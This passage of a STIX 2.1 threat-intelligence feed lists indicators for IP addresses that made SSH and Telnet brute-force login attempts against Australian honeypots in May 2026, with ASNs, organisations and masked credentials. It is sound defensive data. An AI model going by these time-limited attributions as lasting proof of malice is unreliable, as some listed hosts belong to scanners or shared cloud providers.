      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--78f54be8-57b0-4554-b036-8fb452b80f5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.183.41.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1372. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t, s******s, ***, n*****x, s****m. Passwords observed (masked): z*******r, X***********3, I***********************X, I***********************5, I*************************t.",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263924. Organisation(s): Sonik Servicos de Comunicacao LTDA.",
      "id": "indicator--9da93576-d24f-4e96-8001-37d1d9a4015d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.232.175.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--604e0a7a-c591-4f4e-912f-fa96147e8e7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.184.212.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, h******!, r********6.",
      "id": "indicator--dc8ae674-3824-4f5c-ad55-3b213713e43e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.139.173.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--cb113ad2-cac5-47a6-8267-3183a420e07d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--746f12f0-f399-4bc7-90f3-61e2bf006d98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.90.139.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9976. Organisation(s): Namincheon Brodcasting Co., Ltd..",
      "id": "indicator--0078296c-35f2-4596-8199-27415bec4162",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.103.213.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 15395. Organisation(s): Rackspace Ltd..",
      "id": "indicator--78e6a511-54bd-4629-bfb5-9266cf71af6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.213.221.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--c7d2ca7d-4484-4e90-96e9-8db1db41d538",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.240.229.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s****a. Passwords observed (masked): s****a.",
      "id": "indicator--4a7d487f-eade-44ca-8550-f8c7420b4ce8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--eaa58e47-cc8f-4ace-b7bd-3a851013656a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.239.202.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): u****u, t*****1, 3**********4, a***n, d**o. Passwords observed (masked): 1**4, 1********5, 1*******9, 1******@, 1*******a.",
      "id": "indicator--fd9d38ca-de45-4ef8-8ba6-c4a142947783",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 35612. Organisation(s): EOLO S.p.A.. Usernames observed (masked): u****u, d*****p, r**t, 3**********4, a***n. Passwords observed (masked): 1***5, 1******W, 1*******5, 3***********4, 3**********4.",
      "id": "indicator--002ff2be-f9ea-4f84-b7dc-93145fea4956",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.147.30.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:15:10.000Z",
      "valid_until": "2026-06-05T08:15:08.000Z"
    },
    {
      "created": "2026-05-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--29466b63-6581-49f0-ac39-d230e0cd6ce8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.148.77.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T09:15:10.000Z",
      "valid_until": "2026-06-05T09:15:08.000Z"
    },
    {
      "created": "2026-05-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--ec734dc4-6280-49e8-b9d9-a2da1e8fc7c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.212.28.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T09:15:10.000Z",
      "valid_until": "2026-06-05T09:15:08.000Z"
    },
    {
      "created": "2026-05-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--992d5927-d984-41ad-86f4-9876be3ec617",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.72.113.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T09:15:10.000Z",
      "valid_until": "2026-06-05T09:15:08.000Z"
    },
    {
      "created": "2026-05-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--df93fb62-211f-4c69-bad7-a91f8dd38eec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.112.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T09:15:10.000Z",
      "valid_until": "2026-06-05T09:15:08.000Z"
    },
    {
      "created": "2026-05-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--aef7faaa-3f6a-49f1-bc66-3cd189cdd973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.176.219.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T09:15:10.000Z",
      "valid_until": "2026-06-05T09:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 133861. Organisation(s): SonderCloud Limited.",
      "id": "indicator--0f630303-5b2c-4be3-adaa-f4ba46f4c9a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.194.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--10d61474-d8cf-45c3-ba06-2a1622411de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.192.171.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--9b42e5d3-2e2c-4e53-b8da-8158c6bb4957",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.74.248.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266020. Organisation(s): ICLICK TELECOM.",
      "id": "indicator--ffa0d284-cf36-4327-80c9-e57ba81bee36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.228.189.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 131464. Organisation(s): Digi Jadoo Broadband Ltd.",
      "id": "indicator--1a66c870-ad37-4e0a-a43b-e4d495a533d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.149.232.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--6c5c6cfd-7d55-46bf-980f-6f0540e2b194",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.178.216.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18209. Organisation(s): Atria Convergence Technologies Ltd.. Usernames observed (masked): t***2, u****u. Passwords observed (masked): U*********4, a****3.",
      "id": "indicator--e22e3ddf-e953-401e-926f-c7ecbcb65c06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.82.111.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): u****u, a***n, r**t, ***, t***1. Passwords observed (masked): **, ***, 1****3, 1**4, 1******b.",
      "id": "indicator--d429f6e7-f955-451f-8715-131b1e8c688c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.154.100.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--ae61115d-8718-4fb2-8409-7b45b5b0d6ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.155.118.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263219. Organisation(s): WIRNET S.R.L..",
      "id": "indicator--1a7cfafa-ed07-46d3-83a7-c94c93c55b23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.98.221.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--63610861-525e-42b0-95bf-028be96e0363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.118.233.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5e9389d6-f567-4a78-bbbb-03e13580b1b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.73.41.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9319. Organisation(s): HCN CHUNGBUK CABLE TV SYSTEMS.",
      "id": "indicator--a754217b-f6dc-443e-8417-fcca15c3cbf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.126.174.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--26a0c3c6-3f54-4ff0-b139-895e6b994b85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.82.20.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269250. Organisation(s): EVOLUCAO TELECOM LTDA.",
      "id": "indicator--d08c09f9-9a82-41a4-a8be-67e5d6bb1886",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.182.178.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49447. Organisation(s): Nice IT Services Group Inc.. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--3593831c-c840-46d2-ace9-8e1015d440e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.9.148.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
